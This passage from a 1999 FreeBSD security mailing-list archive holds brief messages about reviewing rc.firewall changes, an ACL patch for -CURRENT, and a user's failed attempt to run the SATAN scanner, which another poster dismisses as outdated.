1999 15:24:05 -0800 (PST) (envelope-from adam@algroup.co.uk) Received: from algroup.co.uk (freeby.wessex.aldigital.co.uk [192.168.192.3]) by eastwood.aldigital.algroup.co.uk (8.8.8/8.6.12) with ESMTP id XAA14392; Sat, 4 Dec 1999 23:21:56 GMT Message-ID: <3849A10F.B6CA5509@algroup.co.uk> Date: Sat, 04 Dec 1999 23:17:35 +0000 From: Adam Laurie Organization: A.L. Group plc X-Mailer: Mozilla 4.7 [en] (X11; I; FreeBSD 3.2-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: "Rodney W. Grimes" Cc: Nate Williams , John Baldwin , freebsd-security@FreeBSD.ORG Subject: Re: rc.firewall revisited References: <199912042202.OAA85441@gndrsh.dnsmgr.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org "Rodney W. Grimes" wrote: > > ... Didn't even read the rest, already wasted too much of my time on > this thread ... It has been saved for reading when cdiff is in hand ... [I bite my tongue] > > > > Provide a context or uni diff to -currents /etc/rc.firewall and I'll give you > > > a ``review'', and a possible ``commit''. > > > > Fine. Can I also include the other changes I mentioned (moving IP > > addresses into variables, which will also require some additions to > > rc.conf, and a whole new section for a standalone pc)? > > You can submit anything you want, but remember I am going to ``review'' it, > which means you may get a lot of things back you'll need to go work on :-). > > Like a request for a handbook section to explain all the new knobs you > added, and man page updates, etc, etc... People think Bruce is a nit pick, > well, Just ask Sheldon about my ``reviews'' some time. The sh(1) man > page update process was 20 some odd iterations and 3 to 4 weeks of wall > clock time before it got the ``Reviewed by:'' stamp from me. The bde sio(4) > and fastintr(9) driver code going into FreeBSD 1.0 was something like 100 > iterations, a 50% code change, and a man month of time on both mine and > Bruces part. LOL. If you can point me at a page that even remotely describes what the current rc.firewall rules are doing, then I'll happily update it. However, I'm not going to write one from scratch just for the privilege of fixing the default installation. I've already fixed my machines... For the rest of the world, I'll waste what time I can afford. For the sake of everyone else's sanity, I'll submit the diffs to you off-line. cheers, Adam -- sig? wossat? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Dec 4 21:38:52 1999 Delivered-To: freebsd-security@freebsd.org Received: from ints.ru (ints.ru [194.67.173.1]) by hub.freebsd.org (Postfix) with ESMTP id C68FB14EE3 for ; Sat, 4 Dec 1999 21:38:45 -0800 (PST) (envelope-from ilmar@ints.ru) Received: (from uucp@localhost) by ints.ru (8.9.2/8.9.2) id IAA22758; Sun, 5 Dec 1999 08:38:03 +0300 (MSK) Received: from ws-ilmar.ints.ru(194.67.173.16) via SMTP by ints.ru, id smtpdL22756; Sun Dec 5 08:37:56 1999 Received: from localhost (localhost [127.0.0.1]) by ws-ilmar.ints.ru (8.9.3/8.9.3) with ESMTP id IAA17478; Sun, 5 Dec 1999 08:37:54 +0300 (MSK) Date: Sun, 5 Dec 1999 08:37:54 +0300 (MSK) From: "Ilmar S. Habibulin" To: Robert Watson Cc: freebsd-security@FreeBSD.ORG Subject: Re: ACL-0.1.1.tgz: updated for -CURRENT, some bugfixes In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Fri, 3 Dec 1999, Robert Watson wrote: > > Changes since last time: > > 4.0-CURRENT support > vop_generic_getacl fixed (was pretty broken) > acl_to_text now handles userids without usernames in pwd.db Is -current posix target platform now? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Dec 4 22:29:18 1999 Delivered-To: freebsd-security@freebsd.org Received: from ducky.nz.freebsd.org (chilled.unixathome.org [203.79.82.27]) by hub.freebsd.org (Postfix) with ESMTP id C275C150C4 for ; Sat, 4 Dec 1999 22:29:14 -0800 (PST) (envelope-from dan@langille.org) Received: from wocker (wocker.int.nz.freebsd.org [192.168.0.99]) by ducky.nz.freebsd.org (8.9.3/8.9.3) with ESMTP id TAA41531 for ; Sun, 5 Dec 1999 19:27:37 +1300 (NZDT) Message-Id: <199912050627.TAA41531@ducky.nz.freebsd.org> From: "Dan Langille" Organization: langille.org To: freebsd-security@freebsd.org Date: Sun, 5 Dec 1999 19:27:36 +1300 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: Anyone got Satan to run? Reply-To: dan@langille.org X-mailer: Pegasus Mail for Win32 (v3.12a) Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I downloaded and installed Satan 1.1.1 today. But I have yet to get it to do anything for me. I can't get past the "Warning - SATAN Password Disclosure" screen. Following the README, I first ran the reconfig script, then did a "make bsd" (fwiw, "make freebsd" appears to be a feature which doesn't appear in the list if you just type make). Then I started the satan script from the main directory. Then Target Selection. Entered the IP address of the host to scan. Went for "heavy" and pressed "Start the scan". It goes to the "Warning - SATAN Password Disclosure" screen. I go back the previous page and press "Start the scan again". And nothing happens. top shows nil activity. The logs are inactive. Ummm, I give up. I'm on 3.3-RELEASE. cheers -- Dan Langille - DVL Software Limited [I'm looking for more work] The FreeBSD Diary - http://www.freebsddiary.org/freebsd/ NZ FreeBSD User Group - http://www.nzfug.nz.freebsd.org/ The Racing System - http://www.racingsystem.com/racingsystem.htm unix @ home - http://www.unixathome.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Dec 4 22:37:33 1999 Delivered-To: freebsd-security@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 758) id 5E362150E3; Sat, 4 Dec 1999 22:37:32 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by hub.freebsd.org (Postfix) with ESMTP id 567111CD741; Sat, 4 Dec 1999 22:37:32 -0800 (PST) (envelope-from kris@hub.freebsd.org) Date: Sat, 4 Dec 1999 22:37:32 -0800 (PST) From: Kris Kennaway To: Dan Langille Cc: freebsd-security@freebsd.org Subject: Satan Considered Harmful (Re: Anyone got Satan to run?) In-Reply-To: <199912050627.TAA41531@ducky.nz.freebsd.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org See http://www.hackernews.com/orig/whyvuln.html Satan is really, really useless thesedays (if it ever wasn't). Kris To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message